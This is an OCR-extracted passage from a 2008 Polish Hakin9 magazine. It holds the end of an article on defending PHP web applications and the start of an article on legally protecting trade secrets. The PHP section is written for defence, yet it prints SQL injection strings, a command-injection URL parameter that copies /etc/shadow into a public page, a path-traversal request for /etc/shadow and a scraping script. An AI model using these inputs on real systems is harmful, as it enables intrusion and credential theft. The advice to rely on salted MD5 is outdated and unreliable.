Ponieważ wymusił wykonanie innego
zapytania, które wypisało zawartość
tabeli users z bazy danych. Sytuacja
wygląda podobnie, gdy mamy zapytanie
postaci:

SELECT * FROM 'users' WHERE
login=$login AND pass=$pass;

w polu login wpisujemy

admin; ~

. Tylda

(

~

) jest w języku SQL oznaczeniem

komentarza – wszystkie występujące
po nim komendy nie będą wykonywane.
W tym przypadku zostanie pominięta
druga część zapytania związana z
hasłem. Bardzo popularne jest również
wstrzyknięcie kodu

' OR 1=1;~~

. Tak

zmodyfikowane zapytanie wypisuje z
konkretnej tabeli wszystkie rekordy –
który bowiem który z nich jest niezgodny
z warunkiem

1=1

? Jak się obronić przed

tym atakiem? Przede wszystkim należy
stosować funkcję

addslashes()

, która

doda do potencjalnie niebezpiecznych
znaków slash (

\

). Możemy też stworzyć

klasę czy funkcję, która np. pobierając
na wejściu trzy argumenty sprawdzi,

Listing 6.

Fragment kodu strony odpowiedzialny za analizę numeru telefonu

CheckNumber(number)

{

if

(length(number)!

=

9

) document.forms[

0

].ok.value

=

0

;

if

(!is_numeric(number)) document.forms[

0

].ok.value

=

0

;

WyswietlPtaszkaBadzKrzyzyk(numer)

;

}

Listing 7.

Sprawdzenie, czy zmienna liczbowa ma poprawny format

if

(

is_numeric

(

$id

))

{

// tu kod odpowiadający za wybranie produktu

}

Listing 8.

Usprawnienie algorytmu MD5 – zastosowanie soli

moje_md5

(

$string

)

{

$string1

=

$string

.”sol123!

@#

”;

return

md5

(

$string1

)

}

Typy formularzy

GET umieszcza zmienne w pasku adresu, co ładnie prezentuje linki i pozwala na łatwą
i bezpośrednią zmianę tych danych. POST przesyła informacje przez przeglądarkę internetową
i uniemożliwia przesłanie linku z konkretnymi danymi, można dopiero je zmienić w formularzu.

background image

OBRONA

64

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

65

HAKIN9

4/2008

czy nie zawierają one niebezpiecznych
znaków i przerobi na zapytanie do
bazy danych (np.

Sql::cmd('select',

'produkty', 'id=”'.$id.'”'

);). Jeżeli

mamy wykonać zapytanie typu

SELECT

* FROM PRODUKTY WHERE id=”
$id”

, warto wcześniej sprawdzić, czy

parametr funkcji jest rzeczywiście liczbą
– przykładowy kod weryfikujący znajduje
się na Listingu 7. Analogicznie postąpić
można z loginem (np. sprawdzając, czy
zawiera tylko litery i cyfry, ewentualnie
dopuszczalne znaki specjalne).

Passy bezpieczeństwa

Jeszcze jeden niezwykle istotny
element to hasła. W żadnym wypadku
nie można przechowywać ich w bazie
w czystej postaci (ang. plaintext).
Dzisiejszym standardem jest – mimo
znanych słabości – algorytm haszujący
MD5. Polecam jednak zastosowanie
dodatkowego mechanizmu tzw. soli
(ang. salt) – losowego ciągu znaków

dodawanego na początku lub końcu
danego wyrazu przed haszowaniem
– utrudnia to ataki bruteforce i
rainbowcrack, z predefiniowaną tablicą
deszyfrującą). Przykład zastosowania
soli zawarto w kodzie znajdującym się
na Listingu 8.

Dlaczego powinno się stosować

takie dodatkowe zabezpieczenia?
Sporo słyszeliśmy o projektach
typu rainbowcrack. Jak dla mnie,
hasła poniżej 13 znaków są w MD5
po prostu zbyt łatwe do złamania.
Dobrym pomysłem jest również
zamiana na 'porządniejszy' algorytm
– choćby SHA2, czy Blowfish. Także
do nich można dołożyć własną
modyfikację – na przykład sól.
Pamiętajmy, że podstawowym
obowiązkiem administratora jest
dbanie o bezpieczeństwo klientów.
Jeśli umożliwimy przejęcie haseł przez
kogoś obcego – na pewno wpłynie to
negatywnie na statystyki oglądalności

strony, nie mówiąc o możliwych
kłopotach innego rodzaju.

System zostawmy w spokoju

W żadnym wypadku nie wywołujmy
poleceń systemowych poprzez PHP.
Słyszałem kiedyś o pomyśle napisania
demona w PHP, który miałby wykonywać
określone działania co zdefiniowaną
liczbę sekund. Powiedzmy, że wyglądało
to tak:

$sekundy=$_POST['sek']; while(true)
{ system(„sleep „.$sekundy.”); coś(); }.

Zmienne w PHP najczęściej nie mają
zdefiniowanego typu. Napastnik
zawsze mógłby zrobić coś, co
nazwałbym PHP Injection, i wywołać
stronę z parametrem w URL
podobnym do ?sekundy=5;cat%20/
etc/shadow%20>%20/var/www/html/
index.html
. Jeżeli już skrypt potrzebuje
dostępu do polecenia systemowego,
należy to odpowiednio zabezpieczyć. W
tym przypadku proponuję zrobić coś,
co znajduje się na Listingu 9. Warto
zapoznać się również z funkcjami języka
PHP, takimi jak

escapeshellarg()

czy

escapeshellcmd()

.

Łatwo wyobrazić sobie następującą

sytuację – skrypt PHP odpowiada za
wyświetlanie newsów, które na serwerze
są umieszczane w postaci plików o
nazwach np. 20010504.txt. Linki do
artykułów bazują na formularzu GET w
postaci http://adresstrony/show.php?fil
e=20010504.txt
. Czy wywołanie newsa
o takiej nazwie jest trudne: http://
adresstrony/show.php?file=/etc/shadow?

Oczywiście należy ograniczyć dostęp
funkcjom czytającym pliki jedynie do
wskazanego katalogu.

Mówiąc o systemie, należy

wspomnieć o połączeniu aplikacji
internetowej napisanej w PHP z bazą
danych, np. MySQL. Zazwyczaj piszemy
wtedy plik config.php, który musi być
włączony do każdego pliku w naszej
aplikacji otwierającego połączenie z
bazą. W tym pliku znajdują się bardzo
ważne dane, jak nazwa użytkownika,
nazwa bazy danych i hasło. Jeżeli
na naszym serwerze udostępniamy
miejsce komuś innemu (a często
tak jest na serwerach uczelnianych,

Listing 9.

Zabezpieczenie przed zdalnym wykonaniem kodu

if

(

is_numeric

(

$sekundy

))

{

// tu funkcja

}

Listing 10.

Skrypt służący do automatycznego tworzenia zapytań

#!/bin/bash

TAB

=(a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9)

for

j

in

`seq 0 35`

do

for

i

in

`seq 0 35`

do

touch ${TAB[

$j

]}${TAB[

$i

]}.tmp

links http://adresstrony/szukaj.php?

query

=${TAB[

$j

]}${TAB[

$i

]} >

${TAB[

$j

]}${TAB[

$i

]}.tmp

done

done

exit 0

Projekt rainbowrack

Projekt rainbowrack – tworzenie tablic (tzw. Tęczowych), które pozwalają na odwrócenie jednostronnej
funkcji MD5 i podobnych, bazując na algorytmie przyśpieszającym ten proces. Tablica dotyczy
konkretnego zestawu znaków do ograniczonej długości hasza. Jeżeli wiele osób wygeneruje małe
cząstki tablicy, można je zebrać razem i stworzyć wielką tablice odwracającą algorytm haszujący.
Projekt rainbowcrack można znaleźć w Sieci pod adresem http://www.antsight.com/zsl/rainbowcrack, a
popularne zestawy tablic – http://www.milw0rm.com/cracker oraz http://rainbowcrack.com.

background image

OBRONA

64

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

65

HAKIN9

4/2008

szkolnych, firmowych), należy zadbać o
odpowiednie prawa dostępu do pliku.
Najlepiej CHMOD 640 – zapis i odczyt
dla właściciela, odczyt dla serwera oraz
żadnych praw dla innych użytkowników!

Bazy danych

Abstrahując od sklepu – załóżmy, że
prowadzimy pewien katalog. Może być
to dowolny zbiór – np. firm w Polsce
zajmujących się wyrobem cukierków,
lista nazwisk, lista linków do stron.
Cokolwiek to nie jest – publikując,
zadbajmy o to, żebyśmy nie łamali
prawa. A teraz sprawa techniczna. Jak
uniknąć sytuacji, w której ktoś bezczelnie
skopiował nasze dane i opublikował je
na swojej stronie? Oglądalność naszej
witryny najprawdopodobniej by zmalała,
co spowodowałoby np. zmniejszenie
zysków z reklam na stronie. Podzielenie
listy na parę/set/tysięcy stron jest
pewnym pomysłem – aczkolwiek broni
jedynie przed laikami, którzy korzystają z
metod Copy'ego-Paste'a. Obrona w tym
przypadku jest bardzo skomplikowana
– można dodawać w źródle ukryte
znaki, które wyjdą na jaw dopiero
przy kopiowaniu i zepsują listę. Można
ograniczać ilość zapytań z jednego
adresu IP, czy nawet blokować podobne
zapytania z kilku IP. Przejście do kolejnej
strony można zrealizować w JavaScript.
Sprawa z pewnością nie jest prosta.
Jeżeli udostępniamy funkcję Szukaj i
przekazujemy parametr przez formularz
GET, przygotujmy się na sytuację,
w której haker napisze krótki skrypt,
wyglądający np. tak, jak na Listingu 10.

Wtedy blokujmy jego IP np. po 100

zapytaniach albo po 50 zapytaniach,
które różnią się tylko o jeden znak.

Co dzieje się, jeśli szukamy danych

w Google? Strona google.pl blokuje IP
po średnio 300 zapytaniach na jedna
godzinę. Daje to ok. 300 000 wyników
(z jednego zapytania wyciągniemy
tylko 1000 wyników). Jednak serwery
google.com są niezależne od tych z
Polski – tam również możemy wykonać
300 zapytań. Podobnie google.de,
google.it
i tak dalej – a za godzinę
wracamy i rozpoczynamy wszystko
od początku. Domen krajowych
Google ma ok. 150 (nie wszystkie są
na różnych serwerach), ich adresy

znajdziemy na: http://www.google.pl/
language_tools?hl=pl
. W tym przypadku
wystarczy wiec napisać kod, który różni
się od przedstawionego na Listingu
10
tym, że co 300 zapytań zmienia
końcówkę adresu, czyli links http:
//google.${DOMENA[$z]}/?q=......
gdzie
tablica DOMENA zawiera wpisy np. pl us
it fr de
.

Jeżeli już o przeciążeniach mowa.

Z całym szacunkiem – ale co to za
firma, która swoją stronę internetową
umieszcza na którymś z darmowych
serwerów? Wykonanie paru tysięcy
odświeżeń nie wymaga nawet pisania
programu, wystarczy w Operze
bądź Firefoksie otworzyć kilkanaście
zakładek i ustawić odświeżanie np.
co 30 sekund. Bandwidth – czyli limit
(np. miesięczny) danych przesyłanych
przez serwer – od razu zostaje
przekroczony, a strona zawieszona.
Nie jest to zmora tylko darmowych
serwerów – nawet na płatnych, jeżeli
nie zablokujemy konkretnego IP po np.
tysiącu napływających z niego żądań
wyświetlenia strony, parę GB transferu
nietrudno zużyć przez jedną noc.

Socjotechniki

Akapit ten nie dotyczy już bezpośrednio
kodu stron internetowych, ale haseł,
które chronią dostępu do witryn. Nie
chcę tu mówić o zasadach tworzenia
haseł – 3 klasy znaków, długość co
najmniej 10 znaków itp. – a raczej o
częstotliwości ich zmieniania oraz samej
treści. Powiedzmy, że interesujemy się
łodziami podwodnymi oraz II wojną
światową. Wymyślając parę lat temu
hasło akurat wpadliśmy na orpdzik39.
Udzielając się na forach internetowych,
wiele razy wspominaliśmy o naszych
zainteresowaniach. Taktyki hakerskie
nie polegają tylko na włamywaniu się
na komputery czy strony internetowe.
To również poznawanie ofiary. Osoba,
która zna tylko nasz adres email, może
szybko znaleźć wiele innych informacji.
Google nie pokazuje tylko aktywnych
stron, ale posiada również archiwum
dostępne przy wynikach jako kopia.
Potężne archiwum Internetu znajduję się
na http://web.archive.org. Haker poznaje
naszą psychikę i zainteresowania, tworzy
listę wyrazów związanych z nami w jakiś

sposób i dokonuje ataku słownikowego.
Statystyki mówią, że hasła obecnie są
najczęściej składają się z 6-9 małych
liter, na końcu znajdują się zwykle dwie,
rzadziej jedna cyfra. Bardzo rzadko
hasła są dłuższe niż 12 znaków. Jeżeli
haker odgadnie hasło, znajdziemy się
w bardzo niemiłej sytuacji – może on
np. przeglądać naszą korespondencję
właściwie bez naszej wiedzy. Jak
się obronić? Nie jest to proste w
zastosowaniu – należy często zmieniać
hasła i w żadnym wypadku nie używać
tego samego na dwóch kontach. A
samo hasło nie powinno być jakkolwiek
z nami kojarzone – najlepiej, gdyby
było przypadkowym ciągiem znaków.
Wtedy metoda słownikowa na nic się nie
przyda, a jeżeli hasło jest dostatecznie
długie, metody brute force staną się
nieoptymalne czasowo.

Podsumowanie

Rozwój usług internetowych w Polsce
jest bardzo dynamiczny, ponieważ
każdy produkt, czy usługa potrzebuje
reklamy. Pomimo, że na promocję
w Internecie wydaje się nieznaczny
procent budżetu firmy (w porównaniu
do spotów w telewizji, banerów na
ulicach), jest to dość łatwy sposób na
wstępne 'rozkręcenie' biznesu. Obecnie
powstaje ogromna ilość małych firm
wykonujących strony internetowe, jednak
nie należy ufać całkowicie komuś
jedynie dlatego, że wystawia faktury VAT.
Również takie osoby mogą wykonać
stronę nieprofesjonalnie i umożliwić
atak hakerowi. Jeżeli zlecamy wykonanie
strony – zapytajmy programistę o to,
czy końcowy skrypt jest dostatecznie
bezpieczny. Natomiast jeśli to my
jesteśmy twórcami aplikacji – zawsze
warto kolejny raz przeczytać kod,
sprawdzając dogłębnie każdą funkcję,
niż później tłumaczyć się z dziurawca. W
tej branży ceni się solidność, a nie czas
wykonania – w końcu strona internetowa
ma w zamierzeniu funkcjonować jak
najdłużej.

Jakub Kałużny

Od kilku lat interesuje się bezpieczeństwem IT, w

szczególności aplikacji internetowych. Zaangażowany

w rozwój systemów zarządzania treścią (ang. CMS).

Fascynuje go kryptografia, jest zapalonym miłośnikiem

Linuksa.

Kontakt z autorem: gadulix@gmail.com

background image

66

BEZPIECZNA FIRMA

HAKIN9 4/2008

P

rzepisy prawa nie określają, jak
należy chronić aktywa informacyjne,
pozostawiając w tym zakresie pełną

swobodę przedsiębiorcom co do metod i
sposobów ich ochrony.

Ochrona informacji biznesowych

Jak chronić tajemnice przedsiębiorstwa?
Informacja odgrywa w naszych czasach coraz
większa rolę i w funkcjonowaniu przedsiębiorstw
staje się ważniejsza niż dostęp do kapitału.
Alvin
Tofler.

Współczesny biznes boryka się z

najróżniejszymi i wciąż mnożącymi się
zagrożeniami. Przetwarzanie coraz większej
ilości informacji w sposób elektroniczny, w
systemach informatycznych, powoduje, że
biznes tradycyjny staje się e-biznesem. Ryzyko
związane z pracą w sieciach komputerowych,
a w szczególności prowadzenie działalności
gospodarczej za pośrednictwem Internetu
sprawia, że zagadnienie ochrony informacji
biznesowych nabiera nowego wymiaru.
Powstaje pytanie, jak przedsiębiorcy mają
chronić swoje tajemnice i informacje biznesowe
posiadające wartość gospodarczą.

Tajemnica przedsiębiorstwa

Z pomocą przychodzi nam instytucja
tajemnicy przedsiębiorstwa. Stanowi ona,
zgodnie z art. 551 kodeksu cywilnego, jeden z
najistotniejszych składników przedsiębiorstwa.

ANDRZEJ GUZIK

Z ARTYKUŁU

DOWIESZ SIĘ

jak zapewnić ochronę

informacjom biznesowym,

jakie zastosować najlepsze

praktyki

i standardy ochrony.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawowe zasady

ochrony informacji.

Art. 11 ust. 4 ustawy o zwalczaniu nieuczciwej
konkurencji
definiuje pojęcie tajemnicy
przedsiębiorstwa. Pod pojęciem tajemnicy
przedsiębiorstwa należy rozumieć nieujawnione
do wiadomości publicznej informacje:
techniczne, technologiczne, organizacyjne
przedsiębiorstwa lub inne informacje
posiadające wartość gospodarczą, co do
których przedsiębiorca podjął niezbędne
działania w celu zachowania ich poufności.
Należy nadmienić, że wszystkie powyższe
warunki muszą być spełnione łącznie.
Wówczas dopiero możemy mówić o tajemnicy
przedsiębiorstwa czy tajemnicy przedsiębiorcy.
Z definicji tajemnicy przedsiębiorstwa wynika,
że przedsiębiorca w celu zachowania tajemnicy
musi podjąć tzw. niezbędne działania. W
literaturze przedmiotu za niezbędne działania
uznaje się w szczególności: określenie
typów i rodzajów informacji wewnętrznych
przedsiębiorstwa stanowiących tajemnicę,
zasady i procedury postępowania z
tajemnicą, określenie obowiązku szkolenia,
określenie obowiązku złożenia oświadczenia
o znajomości zasad i przepisów tyczących się
tajemnicy przedsiębiorstwa oraz zobowiązanie
do ich przestrzegania.

W celu ochrony informacji biznesowych

stanowiących tajemnicę przedsiębiorstwa
dokumenty zawierające informację i nośniki
informacji oznacza się stosowną klauzulą,
a ich obieg powinien być nadzorowany

Stopień trudności

Ochrona

informacji

biznesowych

Spośród wszystkich tajemnic prawnie chronionych najbardziej

powszechny charakter w życiu gospodarczym ma tajemnica

przedsiębiorstwa, gdyż dotyczy wszystkich przedsiębiorców.

Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów

niematerialnych firmy.

background image

67

OCHRONA INFORMACJI BIZNESOWYCH

HAKIN9

4/2008

(kontrolowany) zgodnie z zasadą
rozliczalności. Polskie przedsiębiorstwa
stosują następujące oznaczenia
(klauzule): tajemnica firmy, tajemnica
spółki, tajemnica przedsiębiorcy, poufne
firmy lub oznaczenia angielskie (w
firmach z kapitałem zagranicznym):
commercial in confidence, company
confidence, company secret
itp.

Dobrą praktyką w celu ustanowienia

instytucji tajemnicy przedsiębiorstwa
jest przyjęcie i zakomunikowanie
pracownikom woli oraz interesu
najwyższego kierownictwa firmy co do
potrzeby ochrony własnych informacji
biznesowych. Wśród uregulowań
wewnętrznych normalizujących
ochronę tych informacji w
przedsiębiorstwie należy wymienić:
politykę bezpieczeństwa informacji
biznesowych, regulamin ochrony
tajemnicy przedsiębiorstwa, wykaz
informacji stanowiących tajemnicę
przedsiębiorstwa i szczegółowe
procedury bezpieczeństwa obejmujące
swym zasięgiem: bezpieczeństwo
osobowe, bezpieczeństwo fizyczne
i środowiskowe, bezpieczeństwo
dokumentów, nośników informacji i ich
obieg, bezpieczeństwo teleinformatyczne
oraz w szczególnych przypadkach
bezpieczeństwo przemysłowe.

Polityka bezpieczeństwa informacji

biznesowych – jako akt najwyższego
poziomu – powinna wyrażać wolę
najwyższego kierownictwa co do
potrzeby i konieczności ochrony
tych informacji, obowiązki właścicieli
informacji, wymagania techniczne
i organizacyjne oraz zakres
odpowiedzialności za ochronę tych
informacji. Stanowi ona dokument
programowy. Natomiast regulamin
ochrony tajemnicy przedsiębiorstwa,
wykaz informacji stanowiących
tajemnicę przedsiębiorstwa i procedury
bezpieczeństwa stanowią dokumenty
wykonawcze, które przynoszą nam
odpowiedź, w jaki sposób należy chronić
własne informacje biznesowe.

Wykaz informacji stanowiących

tajemnicę przedsiębiorstwa może
mieć charakter zamknięty lub
otwarty (ramowy) i powinien zawierać
rodzaje informacji podlegających
ochronie. Wykaz ten może obejmować

takie informacje, jak: informacje
organizacyjne, informacje kadrowo-
finansowe, informacje handlowe,
informacje techniczne i technologiczne
z ich podziałem na informacje
strategiczne, taktyczne i operacyjne.

Zasady ochrony tajemnicy

przedsiębiorstwa określone w
regulaminie powinny bazować na
najlepszych praktykach wynikających
z normy ISO 17799 i przepisów
wykonawczych do ustaw: ustawy o
ochronie danych osobowych i ustawy o
ochronie informacji niejawnych. Poziom
ochrony powinien być adekwatny do
wartości informacji: podstawowy – dla
informacji operacyjnych (bieżących),
mających krótkotrwałe znaczenie,
podwyższony – dla informacji
taktycznych (ważność tych informacji
określa się na okres od kilku miesięcy
do roku czasu) oraz wysoki – dla
informacji strategicznych (ważność tych

informacji określa się na okres powyżej roku).
Oczywiście podział ten jest umowny. Dobrą
praktyką jest, aby każda jednostka/komórka
organizacyjna przedsiębiorstwa określiła, jakie
informacje podlegają ochronie w jej ramach,
jaką wartość przedstawiają te informacje, z
jakim ryzykiem się wiążą i wreszcie – jakie
ewentualne straty dla firmy może przynieść
utrata ich poufności z tytułu nieuprawnionego
ujawnienia. O nadaniu dokumentowi
klauzuli 'tajemnica przedsiębiorstwa'
decyduje osoba podpisująca dokument.
To właściciel informacji najlepiej zna jej
wartość. Podstawą klasyfikacji informacji
jest wykaz informacji stanowiących
tajemnicę przedsiębiorstwa. Należy mieć
świadomość, że informacje stanowiące
tajemnicę przedsiębiorstwa chronimy nie
tylko w firmie, ale również poza firmą, w
trakcie spotkań czy delegacji, a także w
domu podczas rozmów.

Rysunek 1.

Zależności pomiędzy elementami bezpieczeństwa

Tabela 1.

Zawartość polityki bezpieczeństwa informacji biznesowych

Lp. Zawartość polityki bezpieczeństwa informacji biznesowych

1

Cel

2

Zakres

3

Zobowiązanie kierownictwa organizacji

4

Obowiązki kadry kierowniczej

5

Wymagania organizacyjne i techniczne przetwarzania informacji biznesowych

6

Odpowiedzialność za ochronę informacji biznesowych

7

Zakres rozpowszechnienia polityki

������

��

��

��

��

��

��

��

��

��

��

��

��

��������
����������
����������������������
�������������������
���������������
������������

����������

background image

BEZPIECZNA FIRMA

68

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

69

HAKIN9

4/2008

Ograniczenia w dostępie

do tajemnic przedsiębiorstwa

Przepisy ustawy – prawo zamówień
publicznych dopuszczają pewne
ograniczenia związane z zasadą
jawności postępowania. (Co do zasady,
postępowanie o udzielenie zamówienia
publicznego jest jawne.) Przykładem
takiego ograniczenia jest zapis art. 8 ust.
3
ww. ustawy stanowiący, że zamawiający
nie może ujawniać informacji
zastrzeżonych przez wykonawcę jako
tajemnicę przedsiębiorstwa. Aby tak się
stało, wykonawca musi wyraźnie zastrzec,
że nie mogą one być udostępniane
zarówno innym przedsiębiorcom
biorącym udział w przetargu, jak i
każdej zainteresowanej osobie. Jest
to zapis, który warto wykorzystywać w

postępowaniu o zamówienie publiczne.
Również ustawa o dostępie do informacji
publicznej zawiera ograniczenia w
dostępie do tych informacji. Zgodnie z
treścią art. 5, prawo dostępu do informacji
publicznej podlega ograniczeniu w
zakresie i na zasadach określonych
w przepisach o ochronie informacji
niejawnych oraz o ochronie innych
tajemnic ustawowo chronionych (ust. 1), a
także ze względu na prywatność osoby
fizycznej lub tajemnicę przedsiębiorcy
(ust. 2). Warto korzystać z tej zasady.

System ochrony

tajemnicy przedsiębiorstwa

W celu ochrony informacji biznesowych
należy zbudować system ochrony
tajemnicy przedsiębiorstwa. W pierwszej

kolejności należy dokonać analizy
ryzyka, następnie dokonać klasyfikacji
informacji i dobrać zabezpieczenia.
Skuteczny system ochrony powinien być
kompleksowy i obejmować wszystkie
obszary działania przedsiębiorstwa. Na
system bezpieczeństwa firmy powinny
składać się przedsięwzięcia dotyczące
następujących segmentów (zagadnień):
po pierwsze – bezpieczeństwo
osobowe, po drugie – bezpieczeństwo
fizyczne i środowiskowe, po – trzecie
bezpieczeństwo dokumentów, nośników
informacji oraz ich obieg, po czwarte
– bezpieczeństwo teleinformatyczne
i (w szczególnych wypadkach)
bezpieczeństwo przemysłowe.

Bezpieczeństwo osobowe

Człowiek jest najsłabszym elementem
systemu ochrony informacji. Jak wynika
ze statystyk, około 80 % incydentów
związanych z przetwarzaniem informacji
spowodowanych jest przez czynnik
ludzki. Powiedzenie kadry decydują
o wszystkim
jest jak najbardziej
prawdziwe.

Przetwarzanie informacji

biznesowych stanowiących tajemnicę
przedsiębiorstwa wymaga, aby
personel spełniał dodatkowe
wymagania. W przypadku przetwarzania
informacji niejawnych pracownik
powinien posiadać poświadczenie
bezpieczeństwa uprawniające do
dostępu do dokumentów i materiałów
o określonej klauzuli tajności (ściśle
tajne, tajne, poufne, zastrzeżone).
Poświadczenie bezpieczeństwa daje
rękojmię zachowania tajemnicy przez
zainteresowanego. W przypadku
przetwarzania danych osobowych
administrator danych wydaje osobie
przetwarzającej dane osobowe
upoważnienie do przetwarzania danych
osobowych. Z kolei dostęp do tajemnicy
przedsiębiorstwa (przedsiębiorcy)
wymaga od pracownika podpisania
zobowiązania do zachowania tajemnicy.

Warto w tym miejscu również

przytoczyć zapisy § 3 Rozporządzenia
Ministra Pracy i Polityki Socjalnej z dnia
28 maja 1996 r. w sprawie zakresu
prowadzenia przez pracodawców
dokumentacji w sprawach związanych
ze stosunkiem pracy oraz sposobu

Tabela 3.

Przykłady tajemnicy przedsiębiorstwa

Lp. Przykłady tajemnicy przedsiębiorstwa

1

wynalazki dające się do opatentowania

2

plany kampanii marketingowych

3

plany restrukturyzacji

4

wzory użytkowe lub zdobnicze

5

plany techniczne

6

sposoby zbierania informacji

7

listy klientów

8

metody kontroli jakości towarów i usług

9

sposoby marketingu

10 sposoby organizacji pracy
11 wyniki badań prowadzonych w przedsiębiorstwie
12 dane o wielkości produkcji i sprzedaży
13 źródła zaopatrzenia
14 miejsca zbytu
15 know-how (informacje produkcyjne, handlowe, projekty racjonalizatorskie)

Tabela 2.

Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa

Lp.

Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa

1

Postanowienia ogólne

2

Zasady klasyfikacji informacji

3

Zasady ochrony tajemnicy przedsiębiorstwa

4

Zasady udostępniania tajemnicy przedsiębiorstwa

5

Zakaz konkurencji

6

Szkolenie pracowników z zakresu ochrony tajemnicy przedsiębiorstwa

7

Odpowiedzialność za ochronę tajemnicy przedsiębiorstwa

8

Postanowienia końcowe

background image

BEZPIECZNA FIRMA

68

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

69

HAKIN9

4/2008

prowadzenia akt osobowych. Ww.
paragraf stanowi, że: Pracodawca
przed dopuszczeniem pracownika
do pracy uzyskuje jego pisemne
potwierdzenie zapoznania się z treścią
regulaminu pracy oraz z przepisami i
zasadami dotyczącymi bezpieczeństwa
i higieny pracy, a także z zakresem
informacji objętych tajemnicą określoną
w obowiązujących ustawach dla
umówionego z pracownikiem rodzaju
pracy
. Warto na co dzień korzystać z
tego zapisu.

Również w obrocie gospodarczym,

przed rozpoczęciem negocjacji
handlowych, coraz częściej obserwujemy
wśród przedsiębiorców praktykę
podpisywania umów o poufności.
Ryzyko wycieku informacji

gospodarczych z organizacji zmusza
przedsiębiorców do zajęcia się
problemem bezpieczeństwa personelu.
Najczęściej z firmy wyciekają informacje
biznesowe, dane personalne klientów
oraz własność intelektualna: pomysły
nowych rozwiązań czy kody źródłowe
oprogramowania. O bezpieczeństwie
kadrowym musimy myśleć już na
etapie rekrutacji personelu, następnie
monitorować je w czasie trwania
stosunku pracy, aż do momentu
rozwiązania z pracownikiem umowy o
pracę. Dotyczy to zwłaszcza kluczowego
personelu. Z menedżerami najwyższego
szczebla należy podpisać umowy o
zakazie konkurencji. Ważne jest, aby na
co dzień przestrzegać zasady 'wiedzy
koniecznej' (ang. need to know), a nie

zasady 'przyjemnie byłoby wiedzieć'
(ang. nice to know). W oparciu o role
w organizacji pracownicy powinni
posiadać określone prawa i mieć
zdefiniowany zakres dostępu do
zasobów informacyjnych, zwłaszcza w
systemach informatycznych. Uprawnienia
te powinny być okresowo przeglądane
i weryfikowane. Zgodnie z normą ISO
17799 bezpieczeństwo osobowe ma
na celu ograniczenie ryzyka błędu
ludzkiego, kradzieży, oszustwa lub
niewłaściwego użytkowania zasobów
.
W aktach osobowych pracownika
powinny znaleźć się stosowne zapisy
dotyczące zachowania poufności lub
nieujawniania informacji pozyskanych
w czasie stosunku pracy, jak i po jego
zakończeniu (np. umowa o zakazie

Tabela 4.

Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji

Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji
Stopień

Nazwa

Charakterystyka

0

Brak świadomościt

brak zdefiniowania wymagań bezpieczeństwa

bezpieczeństwo traktowane jest jako problem poszczególnych użytkowników

I

Początkowy

świadomość potrzeby

kierownictwo uważa to za problem IT (typu: prawa dostępu, ochrona antywirusowa)

II

Intuicyjny

próby tworzenia zabezpieczeń

brak jednolitego podejścia

efekty zależne od zaangażowania osób zainteresowanych

III

Zdefiniowany

zdefiniowane zasady (w tym Polityka bezpieczeństwa) w całej organizacji

procedury bezpieczeństwa są utrzymywane i komunikowane

brak kontroli stosowania

IV

Zarządzany

jednolite podejście dla wszystkich komórek i wszystkich rozwiązań

obowiązuje perspektywa biznesu

funkcjonuje mechanizm kontroli stosowania

V

Optymalizowany

świadome zarządzanie ryzykiem

zgodność strategii bezpieczeństwa ze strategią biznesową

zapewnienie bezpieczeństwa traktowane jako proces (wiedza, doskonalenie)

Tabela 5.

Atrybuty informacji podlegających ochronie

Atrybuty

informacji

Bezpieczeństwo informacji
ISO

17799

Informacje

niejawne

Dane

osobowe

Tajemnica

przedsiębiorstwa

Tajemnica

przedsiębiorstwa

Poufność

Tak

Tak

Tak

Tak

Tak

Integralność

Tak

Tak

Tak

Dostępność

Tak

Tak

Rozliczalność

Tak

Tak

Autentyczność

Tak

Niezaprzeczalność Tak

Niezawodność

Tak

background image

BEZPIECZNA FIRMA

70

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

71

HAKIN9

4/2008

konkurencji) i zapisy dotyczące
odpowiedzialności pracownika za
ochronę (bezpieczeństwo) informacji.

Kevin Mitnick w swojej książce

Sztuka podstępu pisze łamałem ludzi
nie hasła
. Dlatego też należy cyklicznie
szkolić własny personel, uświadamiać
zagrożenia i wskazywać na potrzebę
ochrony informacji biznesowych.
Tematem szkoleń powinny być procedury
bezpieczeństwa wynikające z przyjętej
w organizacji polityki bezpieczeństwa
informacji, zwłaszcza zasady dostępu
do informacji i obiegu dokumentów,
procedury udostępniania i powierzania
przetwarzania informacji posiadających
wartość gospodarczą.

Kluczowe znaczenie dla

bezpieczeństwa ekonomicznego
organizacji ma odporność własnego
personelu na działania i metody
socjotechniczne stosowane przez
osoby zatrudnione w wywiadzie
konkurencyjnym i gospodarczym.
Kształtowanie świadomości pracowników
to najlepsza, najbardziej skuteczna,
najtańsza i wciąż niedoceniana
metoda ochrony informacji, na którą
stać wszystkich przedsiębiorców

– bez względu na wielkość instytucji.
Poddaję to pod rozwagę kierujących
organizacjami.

Bezpieczeństwo

fizyczne i środowiskowe

Ochrona fizyczna jest najstarszą
metodą ochrony zasobów materialnych
i informacyjnych. Stanowi pierwszą
linię obrony. Jeżeli w przedsiębiorstwie
nie wdrożono podstawowych środków
ochrony fizycznej, to nie można mówić
o jakimkolwiek bezpieczeństwie.
Zastosowane środki ochrony fizycznej
kształtują wizerunek firmy wśród klientów
i zapewniają poczucie bezpieczeństwa jej
pracownikom.

Norma ISO 17799 dotycząca

zarządzania bezpieczeństwem informacji
stanowi, że celem bezpieczeństwa
fizycznego i środowiskowego jest
zapobieganie nieuprawnionemu
dostępowi, uszkodzeniom i ingerencji w
pomieszczenia instytucji i jej informację.
Natomiast urządzenia do przetwarzania
krytycznych lub wrażliwych informacji
powinny być ulokowane w obszarach
bezpiecznych, chronionych wyznaczonym
obwodem zabezpieczającym z

odpowiednimi barierami i kontrolą
wstępu.

Polityka w zakresie ochrony fizycznej

instytucji powinna wynikać z jej strategii
biznesowej. Dobór zabezpieczeń należy
wykonywać w oparciu o przeprowadzaną
